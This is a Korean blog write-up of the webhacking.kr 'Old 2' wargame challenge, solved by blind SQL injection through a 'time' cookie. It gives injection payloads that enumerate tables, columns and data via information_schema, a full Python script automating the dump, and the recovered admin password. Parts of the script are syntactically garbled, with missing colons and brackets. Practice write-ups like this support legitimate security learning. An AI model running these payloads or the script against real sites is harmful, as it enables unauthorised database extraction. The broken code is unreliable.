본문으로 바로가기

webhacking.kr / Old 2

category Wargame/webhacking.kr 2019. 10. 29. 13:38

처음 index.php의 페이지 소스를 보면 주석으로 timestamp가 찍혀있고 admin.php의 존재를 알려준다. admin.php로 들어가보면 비밀번호를 입력해야 하는데 기초적인 SQL Injection을 시도해도 특별한 일이 일어나지는 않는다.

 

 

쿠키를 살펴보면 time 쿠키가 생긴 것을 볼 수 있다.

 

 

이 time 값에 변화를 주면 주석의 timestamp가 변한다는 사실을 알 수 있다.

 

time=123456789 AND 1=1을 넣으면 2070년 1월 1일 9시 0분 1초가 나오고, time=123456789 AND 1=0을 넣으면 2070년 1월 1일 9시 0분 0초가 나온다. 이 사실을 통해, 내부적으로 MySQL의 FROM_UNIXTIME 함수를 사용하고 2000년~2099년 사이의 범위로 맞춰준다는 것을 추정할 수 있다.

 

FROM_UNIXTIME은 인자로 정수를 받기 때문에 ASCII나 LENGTH 등을 사용해 테이블 정보를 알아내고 그 뒤에 비밀번호를 가져오면 될 것이다.

 

 

1. 테이블 정보 확인

LIMIT로 각 테이블의 이름의 길이를 가져온다.

length((SELECT table_name FROM information_schema.tables WHERE table_type='base table' LIMIT {table_index},1))

길이 확인 후에는 ASCII로 한 글자씩 테이블 이름을 가져온다.

ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_type='base table' LIMIT {table_index},1), {index}, 1))

 

2. 컬럼(Column) 정보 확인

1번과 동일한 방법으로, 탐색 범위만 변경해주면 된다. 각 테이블에 대해 실행하면 모든 테이블의 컬럼 정보를 가져올 수 있다.

length((SELECT column_name FROM information_schema.columns WHERE table_name='{table}' LIMIT {column_index},1))
ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_name='{table}' LIMIT {column_index},1), {index}, 1))

 

3. 데이터 추출

테이블명과 컬럼명을 전부 알아냈으니 데이터를 가져오면 된다.

length((SELECT {column} FROM {table} LIMIT {data_index},1))
ascii(substr((SELECT {column} FROM {table} LIMIT {data_index},1), {index}, 1))

 

아래는 위 방법을 사용해 작성한 자동화 코드다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
import requests
 
if __name__ == '__main__' :
    URL = 'https://webhacking.kr/challenge/web-02/index.php'
    c = {'PHPSESSID''2j44mla1pqks5t7t3k73d79211'}
 
    tables = []
 
    # Get table data
 
    table_index = 0
 
    while True :
        # Existence check
        c['time'= "(SELECT EXISTS(SELECT table_name FROM information_schema.tables WHERE table_type='base table' LIMIT {0},1))".format(table_index)
        r = requests.post(URL, cookies=c)
 
        if int(r.text[22:24]) == 0 : break
 
        # Find the length of table name
        c['time'= "length((SELECT table_name FROM information_schema.tables WHERE table_type='base table' LIMIT {0},1))".format(table_index)
        r = requests.post(URL, cookies=c)
 
        length = int(r.text[22:24])
        table_name = ''
 
        # Find the table name
        for i in range(0, length) :
            c['time'= "ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_type='base table' LIMIT {0},1), {1}, 1))".format(table_index, i+1)
            r = requests.post(URL, cookies=c)
 
            table_name += chr(int(r.text[19:21])*60+int(r.text[22:24]))
 
        print('Table %d: '%(table_index+1)+table_name)
        tables.append([table_name])
 
        table_index += 1
 
 
    # Get column data
 
    for table in tables :
        column_index = 0
        print('Table '+table[0]+':')
 
        while True :
            # Existence check
            c['time'= "(SELECT EXISTS(SELECT column_name FROM information_schema.columns WHERE table_name='{0}' LIMIT {1},1))".format(table[0], column_index)
            r = requests.post(URL, cookies=c)
 
            if int(r.text[22:24]) == 0: break
 
            # Find the length of column name
            c['time'= "length((SELECT column_name FROM information_schema.columns WHERE table_name='{0}' LIMIT {1},1))".format(table[0], column_index)
            r = requests.post(URL, cookies=c)
 
            length = int(r.text[22:24])
            column_name = ''
 
            # Find the column name
            for i in range(0, length) :
                c['time'= "ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_name='{0}' LIMIT {1},1), {2}, 1))".format(table[0], column_index, i+1)
                r = requests.post(URL, cookies=c)
 
                column_name += chr(int(r.text[19:21])*60+int(r.text[22:24]))
 
            print('  Column %d: '%(column_index+1)+column_name)
            table.append(column_name)
 
            column_index += 1
 
 
    # Get data from tables
 
    for table in tables :
        print('Table '+table[0]+':')
 
        for column in table[1:] :
            print('  Column '+column+':')
            data_index = 0
 
            while True :
                c['time'= "(SELECT EXISTS(SELECT {0} FROM {1} LIMIT {2},1))".format(column, table[0], data_index)
                r = requests.post(URL, cookies=c)
 
                if int(r.text[22:24]) == 0: break
 
                c['time'= "length((SELECT {0} FROM {1} LIMIT {2},1))".format(column, table[0], data_index)
                r = requests.post(URL, cookies=c)
 
                length = int(r.text[22:24])
                data = ''
 
                for i in range(0, length) :
                    c['time'= "ascii(substr((SELECT {0} FROM {1} LIMIT {2},1), {3}, 1))".format(column, table[0], data_index, i+1)
                    r = requests.post(URL, cookies=c)
 
                    data += chr(int(r.text[19:21])*60+int(r.text[22:24]))
 
                print('    '+data)
 
                data_index += 1
cs

 

실행 결과는 다음과 같다.

 

 

kudos_to_beistlab을 admin.php의 비밀번호에 넣어주면 된다.

 

 

Last update: 20191107

'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr / Old 6  (0) 2019.11.26
webhacking.kr / Old 5  (0) 2019.11.07
webhacking.kr / Old 4  (0) 2019.11.07
webhacking.kr / Old 3  (0) 2019.11.07
webhacking.kr / Old 1  (0) 2019.10.29